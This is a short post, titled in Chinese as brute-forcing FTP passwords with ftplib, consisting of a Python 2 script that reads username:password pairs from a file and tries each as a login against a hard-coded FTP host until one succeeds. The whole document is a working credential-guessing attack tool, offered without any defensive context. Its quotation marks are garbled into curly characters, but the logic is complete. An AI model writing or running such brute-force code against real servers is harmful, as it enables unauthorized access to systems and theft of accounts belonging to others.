用ftplib爆破FTP口令

#coding:utf-8
#author:jwong

import ftplib

def bruteLogin(hostname,passwordFile):
	with open(passwordFile,‘r‘) as f:
		for line in f.readlines():
			username = line.split(‘:‘)[0]
			password = line.split(‘:‘)[1].strip(‘\r‘).strip(‘\n‘)
			print "[+] Trying:" + username + "/" + password
			try:
				ftp = ftplib.FTP(hostname)
				ftp.login(username,password)
				print ‘login success‘
				ftp.quit()
				return (username,password)

			except Exception, e:
				pass
		print ‘could not brute force FTP credentials‘
		return (None,None)

if __name__ == ‘__main__‘:
	host = ‘192.168.21.104‘
	passwordFile = ‘userpass.txt‘
	bruteLogin(host,passwordFile)